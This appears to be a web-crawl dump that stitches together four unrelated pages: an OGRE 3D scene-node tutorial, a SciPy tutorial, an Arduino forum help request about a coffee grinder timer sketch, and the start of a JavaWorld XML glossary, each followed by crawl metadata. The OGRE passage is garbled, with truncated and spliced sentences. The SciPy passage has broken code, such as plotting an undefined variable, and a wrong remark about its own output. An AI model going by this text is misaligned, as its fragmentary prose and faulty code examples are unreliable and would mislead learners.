OGRE setup dialog box may not have any rendering libraries in it, or you may receive an error on your screen or in Ogre.log that looks something like this: Description: ../../Media/packs/OgreCore.zip - error whilst opening archive: Unable to read zip file If this is the case, open up the resources.cfg file and change the paths it contains to point to locations in the Media folder that came with Ogre. Note you cannot use environment variables such as $(SomeVariable) in these paths. version consult some help from the Ogre forums. The reason we have to do this is that Ogre expects certain files to be in the same directory as the executable, and without setting the working directory to be a directory with these files in it. How Ogre Works A broad topic. We will start with SceneManagers and work our way to Entities. Entity Basics An Entity is one of the types of object that you can render on a scene. entities. rendered in the scene until you attach it to a SceneNode. In addition to: mSceneMgr->setAmbientLight( ColourValue( 1, 1, 1 ) ); The next thing we need to do is create an Entity. We do this by calling the SceneManager's createEntity member function: Entity *ent1 = mSceneMgr->createEntity( "Robot", "robot.mesh" ); Okay, several questions should pop up. First of all, where did mSceneMgr come from, and what are the parameters we are calling the function with? The mSceneMgr variable contains the current SceneManager object (this is done for us by the ExampleApplication ExampleApplication class. Now that we have created the Entity, we need to create a SceneNode to attach it to. Since every SceneManager has a root SceneNode, we will be creating a child of that node: SceneNode *node1 = mSceneMgr->getRootSceneNode()->createChildSceneNode( "RobotNode" ); This long statement first calls the getRootSceneNode of the current SceneManager. Then it to give the Robot a render location: node1->attachObject( ent1 ); And that's it! Compile and run your application. You should see a robot standing on the screen. NOTE: Robot.mesh is not in OgreCore.zip. Following the tutorials to this point your app may run but come up empty. I found adding the following to the resources.cfg and adding the appropriate directories got the application to work. FileSystem=../../media/materials/programs FileSystem=../../media/materials/scripts FileSystem=../../media/materials/textures FileSystem=../../media/models three lines we wrote, nowhere did we specify the exact location where we wanted our Robot to appear.). Entity::setVisible and Entity::isVisible. You can set any Entity to be visible or not by simply calling this function. yourself much by trying to save them. The only thing you really save is the creation and destruction costs for the Entity object itself, which is relatively low. The getName function returns the name of Entity, and the getParentSceneNode function returns the SceneNode that with getPosition and setPosition (always relative to the parent SceneNode). You can move the object relative to its current position by using the translate method. SceneNodes not only set position, but they also manage the scale and rotation of the object. You can set the scale of an object with the scale function. You can use the pitch, yaw, and roll functions to rotate objects. You can use resetOrientation to reset all rotations done to the object. You can also use the setOrientation, getOrientation, and rotate functions for more advanced rotations. We will not be covering Quaternions until a much later tutorial though. You have already seen the attachObject function. These related functions: Entity *ent1 = mSceneMgr->createEntity( "Robot", "robot.mesh" ); SceneNode *node1 = mSceneMgr->getRootSceneNode()->createChildSceneNode( "RobotNode" ); node1->attachObject( ent1 ); ); If we change the 5th line from this: SceneNode *node2 = mSceneMgr->getRootSceneNode()->createChildSceneNode( "RobotNode2", Vector3( 50, 0, 0 ) ); To this: SceneNode *node2 = node1->createChildSceneNode( "RobotNode2", Vector3( 50, 0, 0 ) ); Then we have made RobotNode2 a child of RobotNode. Moving node1 will move node2 along with it, but moving node2 will not affect node1. For example this code would move only RobotNode2: node2->translate( Vector3( 10, 0, 10 ) ); The following code would move RobotNode, and since RobotNode2 is a child of RobotNode, RobotNode2 would be moved as well: node1->translate( Vector3( 25, 0, 0 ) ); If you are having trouble with this, the easiest thing to do is to start at the root SceneNode and go downwards. Let's its parent. Now let's figure out where these things really are. Start at the root SceneNode. Its calling the scale method in SceneNode. Try changing the values in scale and see what you get: Entity *ent1 = mSceneMgr->createEntity( "Robot", "robot.mesh" ); SceneNode *node1 = mSceneMgr->getRootSceneNode()->createChildSceneNode( "RobotNode" ); node1->attachObject( ent1 ); node1->scale( .5, 1, 2 ); ); node2- to the axis, the other fingers points to the positive angles. For example, pitch(Degree(90)), point your thumb to right, the other fingers show the direction of the rotation. Imagine closing a box lid. Try changing the Degree amount and combining multiple transforms: Entity *ent1 = mSceneMgr->createEntity( "Robot", "robot.mesh" ); SceneNode *node1 = mSceneMgr->getRootSceneNode()->createChildSceneNode( "RobotNode", Vector3( -100, 0, 0 ) ); node1->attachObject( ent1 ); node1->yaw( Degree( -90 ) ); Entity *ent2 = mSceneMgr->createEntity( "Robot2", "robot.mesh" ); SceneNode *node2 = mSceneMgr->getRootSceneNode()->createChildSceneNode( "RobotNode2"); node2->attachObject( ent2 ); node2->pitch( Degree( -90 ) ); Entity *ent3 = mSceneMgr->createEntity( "Robot3", "robot.mesh" ); SceneNode *node3 = mSceneMgr->getRootSceneNode()->createChildSceneNode( "RobotNode3", Vector3( 100, 0, 0 ) ); node3->attachObject( ent3 ); node3->roll( Degree( -90 ) ); The Ogre Environment Most of the files (.DLL and .CFG) referred to in this section (and throughout the tutorials) can be found in the OgreSDK "bin" folder under either debug or release. Debug programs which you create should use the files in the debug OgreSDK folder, and release programs should use the files in the release folder. Note that a lot of this section discusses Windows specific monikers. Under a Linux the same information basically applies, but the shared libraries end in .so and reside in another location, and some things may be slightly different. If you have problems, be sure to post your question to the Ogre help forums. DLLs and Plugins Now that we have played with the Ogre environment a bit, I'd like to explain how the Ogre library works in general to make your life easier when working with it. Ogre is divided into 3 large shared library groups: The main library, the plugins, and the third-party libraries. Main library. The first group consists of the library itself and the shared libraries it relies on. The Ogre library is contained, in its entirety in OgreMain.dll. This dll requires a few other libraries such as cg.dll. These DLLs must be included with every Ogre. The Ogre demos and SDK includes a few of these third party helper libraries. The CEGUI library is a GUI system that integrates easily into Ogre, and the DLLs that begin with "CEGUI*" and the "OgreGUIRenderer.dll" are part of this. Using CEGUI will be covered in a later tutorial. Keyboard and mouse input is accomplished through OIS (an input system). This is contained in OIS.dll. There are also other libraries (not included with the SDK) which give more functionality (such as sound and physics) which you can find more information about in other places such as on the Wiki and in the forums. CEGUI but does use OIS, then you shouldn't bother including the CEGUI DLLs, but you must include the OIS dll or your application will not run. Configuration Files Ogre runs off of several configuration files. They control which plugins are loaded, where the application's resources are located, and so on. We will briefly look at each of the configuration files and what they do. manipulates directly. Ogre must be able to find "plugins.cfg", "resources.cfg", and "media.cfg" to run properly. In a later tutorial we will cover more about these files and how to change their location and manipulate them to do more advanced things. A Better Way to Test Your Application Note this section is Windows and Visual C++ specific. As mentioned in many places (including the Troubleshooting section above), Ogre must be able to find the configuration files, DLLs, and media resources that your program uses. Most people solve this by manually copying the bin folder from the OgreSDK into their project's directory to put the correct DLLs in the same folder as the executable file. This is probably the best thing to do if you are creating a game or application which will be distributed to many people because you will undoubtedly change the configuration files and add/remove plugins from the norm. In many other situations though, copying all the DLLs over to each Ogre project you create will waste space and a lot of time. Here are a few things you can do instead. One alternative is to copy the OgreSDK DLL files (minus the plugins) over to the c:\Windows\System folder. This has the advantage that no matter where your executable files are, Windows will always be able to find the appropriate DLL. To make this work, modify the resources.cfg and plugins.cfg to contain absolute paths to the media folder and plugins respectively. Now, whenever you create a project, you simply have to copy the modified configuration files over to your bin\debug and bin\release directories. I personally do not use this approach since it's possible to lose track of which OgreSDK DLLs are in your Windows directory. Ogre releases new versions often, so actually updating your install with this method could become quite a hassle. A better alternative is to leave all OgreSDK files where they are and set the working directory of every Ogre application you create to be OgreSDK's bin\release or bin\debug directory. To do this, go to your project's properties and change the "Working Directory" field (in the Debugging options) to be "C:\OgreSDK\bin\$(ConfigurationName)". You may need to change "C:\OgreSDK" to wherever you installed Ogre; then, no files will need to be copied to make your Ogre programs work. This is the approach I personally use on my Ogre projects. The only drawback is that if you need to make modifications to the configuration files, you will be modifying them for every Ogre project, which is obviously bad. If you use this approach and need to modify the configuration files for your project, copy all of the files into your project as you normally would instead, then change the Working Directory back to what it originally was. Basic Tutorial 2 Cameras, Lights, and Shadows
http://www.ogre3d.org/wiki/index.php/Basic_Tutorial_1
crawl-002
refinedweb
2,234
55.64
What is SciPy? SciPy is an Open Source Python-based library, which is used in mathematics, scientific computing, Engineering, and technical computing. SciPy also pronounced as “Sigh Pi.” Sub-packages of SciPy: - File input/output – scipy.io - Special Function – scipy.special - Linear Algebra Operation – In this tutorial, you will learn: - What is SciPy? - Why use SciPy - Numpy VS SciPy - SciPy – Installation and Environment Setup - File Input / Output package: - Special Function package: - Linear Algebra with SciPy: - Discrete Fourier Transform – scipy.fftpack - Optimization and Fit in SciPy – scipy.optimize - Nelder –Mead Algorithm: - Image Processing with SciPy – scipy.ndimage Why use SciPy - SciPy contains varieties of sub packages which help to solve the most common issue related to Scientific Computation. - SciPy is the most used Scientific library only second to GNU Scientific Library for C/C++ or Matlab’s. - Easy to use and understand as well as fast computational power. - It can operate on an array of NumPy library. Numpy VS SciPy Numpy: - Numpy is written in C and use for mathematical or numeric calculation. - It is faster than other Python Libraries - Numpy is the most useful library for Data Science to perform basic calculations. - Numpy contains nothing but array data type which performs the most basic operation like sorting, shaping, indexing, etc. SciPy: - SciPy is built in top of the NumPy - SciPy is a fully-featured version of Linear Algebra while Numpy contains only a few features. - Most new Data Science features are available in Scipy rather than Numpy. SciPy – Installation and Environment Setup You can also install SciPy in Windows via pip Python3 -m pip install --user numpy scipy Install Scipy on Linux sudo apt-get install python-scipy python-numpy Install SciPy in Mac sudo port install py35-scipy py35-numpy Before start to learning SciPy, you need to know basic functionality as well as different types of an array of NumPy The standard way of import infSciPy modules and Numpy: from scipy import special #same for other modules import numpy as np File Input / Output package: Scipy, I/O package, has a wide range of functions for work with different files format which are Matlab, Arff, Wave, Matrix Market, IDL, NetCDF, TXT, CSV and binary format. Let’s we take one file format example as which are regularly use of MatLab: import numpy as np from scipy import io as sio array = np.ones((4, 4)) sio.savemat('example.mat', {'ar': array}) data = sio.loadmat(‘example.mat', struct_as_record=True) data['ar'] Output: array([[ 1., 1., 1., 1.], [ 1., 1., 1., 1.], [ 1., 1., 1., 1.], [ 1., 1., 1., 1.]]) Code Explanation - Line 1 & 2: Import the essential library scipy with i/o package and Numpy. - Line 3: Create 4 x 4, dimensional one’s array - Line 4: Store array in example.mat file. - Line 5: Get data from example.mat file - Line 6: Print output. Special Function package - scipy.special package contains numerous functions of mathematical physics. - SciPy special function includes Cubic Root, Exponential, Log sum Exponential, Lambert, Permutation and Combinations, Gamma, Bessel, hypergeometric, Kelvin, beta, parabolic cylinder, Relative Error Exponential, etc.. - For one line description all of these function, type in Python console: help(scipy.special) Output : NAME scipy.special DESCRIPTION ======================================== Special functions (:mod:`scipy.special`) ======================================== .. module:: scipy.special Nearly all of the functions below are universal functions and follow broadcasting and automatic array-looping rules. Exceptions are noted. Cubic Root Function: Cubic Root function finds the cube root of values. Syntax: scipy.special.cbrt(x) Example: from scipy.special import cbrt #Find cubic root of 27 & 64 using cbrt() function cb = cbrt([27, 64]) #print value of cb print(cb) Output: array([3., 4.]) Exponential Function: Exponential function computes the 10**x element-wise. Example: from scipy.special import exp10 #define exp10 function and pass value in its exp = exp10([1,10]) print(exp) Output: [1.e+01 1.e+10] Permutations & Combinations: SciPy also gives functionality to calculate Permutations and Combinations. Combinations – scipy.special.comb(N,k) Example: from scipy.special import comb #find combinations of 5, 2 values using comb(N, k) com = comb(5, 2, exact = False, repetition=True) print(com) Output: 15.0 Permutations – scipy.special.perm(N,k) Example: from scipy.special import perm #find permutation of 5, 2 using perm (N, k) function per = perm(5, 2, exact = True) print(per) Output: 20 Log Sum Exponential Function Log Sum Exponential computes the log of sum exponential input element. Syntax : scipy.special.logsumexp(x) Bessel Function Nth integer order calculation function Syntax : scipy.special.jn() Linear Algebra with SciPy - Linear Algebra of SciPy is an implementation of BLAS and ATLAS LAPACK libraries. - Performance of Linear Algebra is very fast compared to BLAS and LAPACK. - Linear algebra routine accepts two-dimensional array object and output is also a two-dimensional array. Now let’s do some test with scipy.linalg, Calculating determinant of a two-dimensional matrix, from scipy import linalg import numpy as np #define square matrix two_d_array = np.array([ [4,5], [3,2] ]) #pass values to det() function linalg.det( two_d_array ) Output: -7.0 Inverse Matrix – scipy.linalg.inv() Inverse Matrix of Scipy calculates the inverse of any square matrix. Let’s see, from scipy import linalg import numpy as np # define square matrix two_d_array = np.array([ [4,5], [3,2] ]) #pass value to function inv() linalg.inv( two_d_array ) Output: array( [[-0.28571429, 0.71428571], [ 0.42857143, -0.57142857]] ) Eigenvalues and Eigenvector – scipy.linalg.eig() - The most common problem in linear algebra is eigenvalues and eigenvector which can be easily solved using eig() function. - Now lets we find the Eigenvalue of (X) and correspond eigenvector of a two-dimensional square matrix. Example, from scipy import linalg import numpy as np #define two dimensional array arr = np.array([[5,4],[6,3]]) #pass value into function eg_val, eg_vect = linalg.eig(arr) #get eigenvalues print(eg_val) #get eigenvectors print(eg_vect) Output: [ 9.+0.j -1.+0.j] #eigenvalues [ [ 0.70710678 -0.5547002 ] #eigenvectors [ 0.70710678 0.83205029] ] Discrete Fourier Transform – scipy.fftpack - DFT is a mathematical technique which is used in converting spatial data into frequency data. - FFT (Fast Fourier Transformation) is an algorithm for computing DFT - FFT is applied to a multidimensional array. - Frequency defines the number of signal or wavelength in particular time period. Example: Take a wave and show using Matplotlib library. we take simple periodic function example of sin(20 × 2πt) %matplotlib inline from matplotlib import pyplot as plt import numpy as np #Frequency in terms of Hertz fre = 5 #Sample rate fre_samp = 50 t = np.linspace(0, 2, 2 * fre_samp, endpoint = False ) a = np.sin(fre * 2 * np.pi * t) figure, axis = plt.subplots() axis.plot(t, a) axis.set_xlabel ('Time (s)') axis.set_ylabel ('Signal amplitude') plt.show() Output : You can see this. Frequency is 5 Hz and its signal repeats in 1/5 seconds – it’s call as a particular time period. Now let us use this sinusoid wave with the help of DFT application. from scipy import fftpack A = fftpack.fft(a) frequency = fftpack.fftfreq(len(a)) * fre_samp figure, axis = plt.subplots() axis.stem(frequency, np.abs(A)) axis.set_xlabel('Frequency in Hz') axis.set_ylabel('Frequency Spectrum Magnitude') axis.set_xlim(-fre_samp / 2, fre_samp/ 2) axis.set_ylim(-5, 110) plt.show() Output: - You can clearly see that output is a one-dimensional array. - Input containing complex values are zero except two points. - In DFT example we visualize the magnitude of the signal. Optimization and Fit in SciPy – scipy.optimize - Optimization provides a useful algorithm for minimization of curve fitting, multidimensional or scalar and root fitting. - Let’s take an example of a Scalar Function, to find minimum scalar function. %matplotlib inline import matplotlib.pyplot as plt from scipy import optimize import numpy as np def function(a): return a*2 + 20 * np.sin(a) plt.plot(a, function(a)) plt.show() #use BFGS algorithm for optimization optimize.fmin_bfgs(function, 0) Optimization terminated successfully. Current function value: -23.241676 Iterations: 4 Function evaluations: 18 Gradient evaluations: 6 array([-1.67096375]) - In this example, optimization is done with the help of the gradient descent algorithm from the initial point - But the possible issue is local minima instead of global minima. If we don’t find a neighbor of global minima, then we need to apply global optimization and find global minima function used as basinhopping() which combines local optimizer. optimize.basinhopping(function, 0) Output: fun: -23.241676238045315 lowest_optimization_result: fun: -23.241676238045315 hess_inv: array([[0.05023331]]) jac: array([4.76837158e-07]) message: 'Optimization terminated successfully.' nfev: 15 nit: 3 njev: 5 status: 0 success: True x: array([-1.67096375]) message: ['requested number of basinhopping iterations completed successfully'] minimization_failures: 0 nfev: 1530 nit: 100 njev: 510 x: array([-1.67096375]) Nelder –Mead Algorithm: - Nelder-Mead algorithm selects through method parameter. - It provides the most straightforward way of minimization for fair behaved function. - Nelder – Mead algorithm is not used for gradient evaluations because it may take a longer time to find the solution. import numpy as np from scipy.optimize import minimize #define function f(x) def f(x): return .4*(1 - x[0])**2 optimize.minimize(f, [2, -1], method="Nelder-Mead") Output: final_simplex: (array([[ 1. , -1.27109375], [ 1. , -1.27118835], [ 1. , -1.27113762]]), array([0., 0., 0.])) fun: 0.0 message: 'Optimization terminated successfully.' nfev: 147 nit: 69 status: 0 success: True x: array([ 1. , -1.27109375]) Image Processing with SciPy – scipy.ndimage - scipy.ndimage is a submodule of SciPy which is mostly used for performing an image related operation - ndimage means the “n” dimensional image. - SciPy Image Processing provides Geometrics transformation (rotate, crop, flip), image filtering (sharp and de nosing), display image, image segmentation, classification and features extraction. - MISC Package in SciPy contains prebuilt images which can be used to perform image manipulation task Example: Let’s take a geometric transformation example of images from scipy import misc from matplotlib import pyplot as plt import numpy as np #get face image of panda from misc package panda = misc.face() #plot or show image of face plt.imshow( panda ) plt.show() Output: Now we Flip-down current image: #Flip Down using scipy misc.face image flip_down = np.flipud(misc.face()) plt.imshow(flip_down) plt.show() Output: Example: Rotation of Image using Scipy, from scipy import ndimage, misc from matplotlib import pyplot as plt panda = misc.face() #rotatation function of scipy for image – image rotated 135 degree panda_rotate = ndimage.rotate(panda, 135) plt.imshow(panda_rotate) plt.show() Output: Integration with Scipy – Numerical Integration - When we integrate any function where analytically integrate is not possible, we need to turn for numerical integration - SciPy provides functionality to integrate function with numerical integration. - scipy.integrate library has single integration, double, triple, multiple, Gaussian quadrate, Romberg, Trapezoidal and Simpson’s rules. Example: Now take an example of Single Integration Here a is the upper limit and b is the lower limit from scipy import integrate # take f(x) function as f f = lambda x : x**2 #single integration with a = 0 & b = 1 integration = integrate.quad(f, 0 , 1) print(integration) Output: (0.33333333333333337, 3.700743415417189e-15) Here function returns two values, in which the first value is integration and second value is estimated error in integral. Example: Now take an example of double integration. We find the double integration of the following equation, from scipy import integrate import numpy as np #import square root function from math lib from math import sqrt # set fuction f(x) f = lambda x, y : 64 *x*y # lower limit of second integral p = lambda x : 0 # upper limit of first integral q = lambda y : sqrt(1 - 2*y**2) # perform double integration integration = integrate.dblquad(f , 0 , 2/4, p, q) print(integration) Output: (3.0, 9.657432734515774e-14) You have seen that above output as same previous one. Summary - SciPy(pronounced as “Sigh Pi”) is an Open Source Python-based library, which is used in mathematics, scientific computing, Engineering, and technical computing. - SciPy contains varieties of sub packages which help to solve the most common issue related to Scientific Computation. - SciPy is built in top of the NumPy
https://www.thehackingcoach.com/python-scipy-tutorial-learn-with-example/
CC-MAIN-2022-40
refinedweb
2,011
50.53
Introduction: Living Portrait Scare for Halloween Using a Raspberry Pi, PIR and Python Lets make a living portrait effect for Halloween, and scare some people.The goal is to have the portrait remain still until the motion sensor is triggered and to do this without a blank space between videos, the scare or the reset of the image. Many of the triggerable media players aren’t seamless and for those that are its quite expensive.The cheaper ones results in a black screen in between scares or even between scenes, which totally ruin the effect.Here we will use a raspberry pi and python3, and by the end of this you too can have a wonderful Halloween prop, and scare anyone that comes close. Parts needed: - Raspberry pi 2|3: $35.00 - 5v PIR (Passive InfraRed) sensor: $5.00 - I got mine from amazon for around 8.00 (now 11.00) but it comes with 5 from Amazon - Unliving portrait video: $8.00 AtmosFX - TV|Monitor: you have this laying around - Wood or old frame to cover monitor Software Needed: - Python: pre-installed on Raspbian - Omxplayer: pre-installed on Raspbian - Omxplayer-wrapper library Step 1: Software and Connections I’m not going to go into how to setup a pi, there are plenty of documents around that, but if you need it here is the documentation on how to install Raspbian. I recommend using SSH and setting up wifi to make it easy to test and start the script. How to setup SSH on windows and Raspbian here. Now we need to install Omxplayer-wrapper and grab a script from my github. Open a terminal in Raspbian and enter - sudo python3 -m pip install omxplayer-wrapper - this should install all the requirements and should be all you need to set it up - Grab my portrait player script from My github page or attached to this instructable. - Copy your living portrait video to the pi somewhere. - Once this is done, omxplayer-wrapper is installed, and all the files are ready turn off the pi and continue on. - To set up the PIR to work with the PI you need to connect the Sensor. - PIR VCC to 5v(pin2) - PIR Out to GPIO4(pin7) - PIR GND to GND(pin6). Your PIR might be different in layout please ensure its correct. Also turn all the potentiometers counter clockwise which should be all the way down, you can adjust sensitivity later if needed. If you need a narrow field of view from the sensor I recommend removing the plastic cover from the PIR. Step 2: Testing With this hooked up start up the pi and navigate to the folder where the living_portrait.py script is, depending on your settings you may need to adjust the screen width or screen height. In the living_portrait.py script change the swidth and slength variables to match your monitor. Mine was 1440x900. To start the effect run: - python3 living_portrait.py filename - for example: - python3 living_portrait.py UP_Gent_LivingNightmare_TV_V.mp4 It is important to note that what happens in this effect is the player starts the video and then pauses it immediately before the scare happens. Make sure you pick a video that when un-paused it will produce the effect you want. Lastly, we need to frame our monitor, you can either use an old frame that fits or you can make your own for pretty cheap. Buy some molding from Home Depot cut it on 45-degree angles and either nail or staple it together. I also mounted to L-brackets to my frame so I can hang it on the monitor. For a final touch I drilled a hole for the PIR sensor, but this isn't necessary and sometimes takes some trial and error to make the trigger work to ones desire. Step 3: The Result Simple and great effect. Check out the video and go scare someone! if you liked this please vote for me in the halloween contest. 3 People Made This Project! Rescue-pi made it! Rescue-pi made it! mooseDodger made it! 70 Discussions It's possible to play more video or just one? Something like this. quick and dirty :) #!/usr/bin/env python3 #Created by scarethetots from gpiozero import MotionSensor import sys from omxplayer.player import OMXPlayer from pathlib import Path from time import sleep files = sys.argv[1] slength = '1920' swidth = '1200' print("Starting up....") tgr = 0 try: player = OMXPlayer('Downloads/famal.mp4', args=['--no-osd', '--loop', '--win', '0 0 {0} {1}'.format(slength, swidth)]) pir = MotionSensor(4) sleep(1) print("Ready to trigger") while True: player.pause() if pir.motion_detected and tgr == 2: player.quit() player = OMXPlayer(Path('Downloads/man.mp4'), args=['--no-osd', '--loop', '--win', '0 0 {0} {1}'.format(slength, swidth)]) player.play() player.play() print("New video count {}".format(tgr)) sleep(player.duration()) tgr = tgr + 1 elif pir.motion_detected and tgr == 4: player.quit() player = OMXPlayer(Path('Downloads/girl1.mp4'), args=['--no-osd', '--loop', '--win', '0 0 {0} {1}'.format(slength, swidth)]) player.play() player.play() print("New video count {}".format(tgr)) sleep(player.duration()) tgr = tgr + 1 elif pir.motion_detected and tgr == 6: player.quit() player = OMXPlayer(Path('Downloads/girl1.mp4'), args=['--no-osd', '--loop', '--win', '0 0 {0} {1}'.format(slength, swidth)]) player.play() player.play() print("New video count {}".format(tgr)) sleep(player.duration()) tgr = 1 elif pir.motion_detected: print("trigger count {}".format(tgr)) player.play() sleep(player.duration()) tgr = tgr + 1 else: pass player.set_position(0.0) except KeyboardInterrupt: player.quit() sys.exit() master.withdraw() # if you want to bring it back sys.exit() # if you want to exit the entire thing Yes, however that would require the script to be altered. I thought about having it change videos every 10 plays or so. soit would be different if you change every scare you might have the black screen when it switches. I'll look into it though. Nice projekt, works fine :) How do you get the video to start automatically when you turn on the Raspberry Pi, are there autostart like in windows. Newbie and receiving input error no module named omxplayer I can run manually from omxplayer from command line so I know that works and video plays. Just not sure why failing with script. Figured it out from other posts. Thx. Great project. I want this to trigger multiple times. Is there anything special I’d need to do so it will just keep going off when motion is detected? glad to see you got it. mine triggers multiple times. I am not sure why yours would trigger just once Great Instructable. I found this last year and finally had time to get it ready for this Halloween. I am a total newbie at this but your directions were clear and easy to follow. I just need to frame out the monitor. I would love it if it could play multiple clips, maybe run one video for a certain number of triggers and then move to the next one, but I wouldn't know where to start. I was just excited to get it running without too much difficulty. Thanks. yes you could, it would involve tweaking the python code a bit, it probably wouldn't be a smooth transition from one video to the next Will this work using a Raspberry Pi B+? It 'may' there really isn't anything specific to the pi3. but you may run into issues that I haven't seen or predicted. Import Error: dbus : I found the Solution on a forum when I searched for dbus and python 3 not related to Raspberry Pi, but Ubuntu -- and luckily I didn't need to reinstall: sudo apt-get update sudo apt-get install python3-dbus After those commands, the program is now playing video -- I am very happy. And a BTW for those that want to reset the video, I put a sleep(0.5) between the set position and pause so that the commands have time to be processed. Happy Halloween! ;-) Thanks again for posting this project! Nice! glad you figured it out and thanks for sharing your solution. Thanks for posting this project; I need help with using it on a Raspberry Pi Zero W, the error message from apt-get is "E: unable to locate package libdbus-1"; however I was able to install the libdbus-1-dev package and make the wrapper for Python 3. When I run the code I get an ImportError: No module named 'dbus' presumably because the libdbus-1 package didn't install. I followed up with an apt-get update to see if the dependencies would pick up the package -- no luck. Any suggestions? Most appreciated putting together for Halloween this weekend. That's a very curious error. I actually just bought a pi zero w today, to do this on and didn't have any issues. I even came back here to get my pip command. What version of rasbian are you running? how did you install raspbian? When I installed raspbian tonight I used the noobs install, just to make my life easier. I can only assume something went wrong in either the install of the OS, or the sudo python3 -m pip install omxplayer-wrapper command. I'd reinstall raspbian. I think omxplayer-wrapper is importing dbus. but still weird. let me know how it goes. I'm running version "Jessie" and I ran the update again today so it "should" be up to date... BTW: Which version are you running? I will admit I am new to the Raspberry Pi universe, so this is probably a basic issue that catches newcomers... but if I were to reinstall everything there is no guarantee that it will resolve the issue... and what would change to allow apt-get to find the "libdbus-1" package? Now I did find and install packages "libdbus-1-dev", "libdbus-1-3", and "dbus"... and when I run Python3 I see a trace back starting from my project where I have in my code: "from omxplayer.play import OMXPlayer" then traces to "usr/local/lib/python3.4/dist-packages/omxplayer/ __init__,py" where it traces to "usr/local/lib/python3.4/dist-packages/omxplayer/player.py" (line 18) in module to "from dbus import DBusException, Int64, string. Object path.... ImportError: No module named 'dbus'" of course I've googled this and tried the advice on Stack-Overflow... to no avail. Question: does it appears that the wrapper may not have had all the objects necessary when I issued the command? -- and would uninstalling the wrapper and rebuilding it help? I will try that; any other advice based on the information provided? Thanks. I think part of the issue is you're running 'jessie' current raspbian is running stretch. That error isn't something I've encountered before. I don't think your wrapper installed wrong. I think the updated omxplayer and omxplayer-wrapper that is pushed with stretch is the issue. I still highly recommend a new install using the default instructions here. I wouldn't use 'lite' either as it is most likely missing something that is needed. I'm sorry I couldn't be of more help. If I run across this issue in my setup at anytime and find a way to fix it I'll let you know. Thanks for taking the time to post this. I've been trying to do this projects for weeks and your instructions worked perfectly. One question, if I wanted this to run on boot, how would you go about doing that? theres many ways to do this but one is: make a file called run.sh, inside that file put the command you run manually. for example "python3 living_portrait.py myvideo.mp4" and save it. make the file executable by doing "chmod +x run.sh" then enter "sudo crontab -e" go to the bottom of that file and enter "@reboot /bin/sh /pi/home/run.sh &" then exit out of crontab and reboot and it should work. you can also run it directly from crontab but sometimes arguements trip up crontab. Here is a link that can help if you get lost thanks you
https://www.instructables.com/id/Raspberry-Pi-Based-Living-Portrait-Player-Intro/
CC-MAIN-2018-39
refinedweb
2,038
75.81
hello there im building a coffee grinder timer with the uno i know lots about coffee little about arduino haha im using this project from Github arduino grinder timer im having problems when i try to verify or load the sketch on GitHub readme it says Copy the three libraries from the lib folder: “EEPROM, Encoder & DigoleSerial” to “Arduino\libraries” folder and restart arduino application Open “Grinder_Timer.ino”. which ive done but i get the same #include wire.h error as mentioned on the github issues page ive tried both methods mentioned to try and fix this i edited #include “…/Wire/Wire.h” to #include “Wire.h” in the DigoleSerial.h file but get the same errors as timcoolguy on github ive also tried to put all the files in the same folder as follows ive made a new folder in the arduino library named Grinder_Timer_1_1 put in the EEPROM, Encoder & DigoleSeria files along with all the ino files from the folder named src but when i verify i get this error message about the encoder.h Arduino: 1.8.5 (Windows 7), Board: “Arduino/Genuino Uno” C:\Users\jimbean\Documents\Arduino\libraries\Grinder_Timer_1_1\Grinder_Timer_1_1\Grinder_Timer_1_1.ino:14:21: fatal error: Encoder.h: No such file or directory #include <Encoder.h> ^ compilation terminated. exit status 1 Error compiling for board Arduino/Genuino Uno. This report would have more information with “Show verbose output during compilation” option enabled in File → Preferences. any ideas on this would be greatly appreciated as im a little stuck in the water until i get the code loaded this is a video of the project finished arduino coffe grinder many thanks jimbean
https://forum.arduino.cc/t/newbie-help-loading-sketch-required-please/489571
CC-MAIN-2022-05
refinedweb
276
61.77
Optimize with a SATA RAID Storage Solution Range of capacities as low as $1250 per TB. Ideal if you currently rely on servers/disks/JBODs In just a few years, XML's importance to Java developers has grown by leaps and bounds, especially with Web services on the scene. XML, however, is an evolving technology with numerous subtechnologies emerging to solve common problems. With that in mind, how can a Java developer hope to keep up? This glossary of important XML acronyms will help you dip your feet into the XML pond. I assume some XML knowledge, such as that you understand attributes and elements and know how an XML document looks. To further aid your knowledge, for each technology introduced here, I've included a list of related Websites in Resources. As for structure, I've split the acronyms into four topical sections: Within each section, rather than a mere alphabetical list, I've listed the terms in order of importance or relevance to other terms within the section. For quick links to specific terms, use the following alphabetical list: By "Develop with XML," I mean writing Java code. You'd use each of the technologies below, all used by typing import ...;, to read or write XML documents. I've started with the most important, although certainly not the most interesting or even useful. DOM (Document Object Model) is the standard in-memory XML representation. DOM proves flexible in that you can access any document bits whenever you want, but it can be memory hungry, so developers commonly use it to build client applications where memory is not an issue. DOM suffers from being old, language-neutral (so it is a lowest common denominator solution), and works with ill-formed HTML documents—all of which add up to a fairly unfriendly API. Many developers upgrade to JDOM or DOM4J. SAX (Simple API for XML) differs from DOM in that it is event-driven: the document flashes before your eyes while the parser notifies you of elements and attributes. You pick out the bits you want as it goes by. SAX is lightweight and simple, but working out your location in a document can be challenging. Developers generally use SAX in server applications where memory can be tight. JAXP (Java API for XML Parsing) is not really a technology separate from DOM or SAX, but simply an extension to both that makes them easier to use in Java. Both DOM and SAX are language-neutral, so neither answers questions like, "How do we create a parser." JAXP answers the creation question and is a standard API for XSLT (Extensible Stylesheet Language Transformations) (see below). To those struggling with DOM, JDOM will seem like a breath of fresh air. JDOM fixes some of DOM's more arcane areas. For example, unlike with DOM, in JDOM elements and attributes are objects, so you can call new Element("name"); and so on. JDOM uses Java collections and helps you write files, another area where DOM falls short. JDOM is being standardized under JSR 102 (Java Specification Request), which indicates Sun Microsystes' conviction that JDOM is a good solution.
http://www.javaworld.com/javaworld/jw-09-2002/jw-0927-xmlglossary.html?page=1
crawl-003
refinedweb
525
53
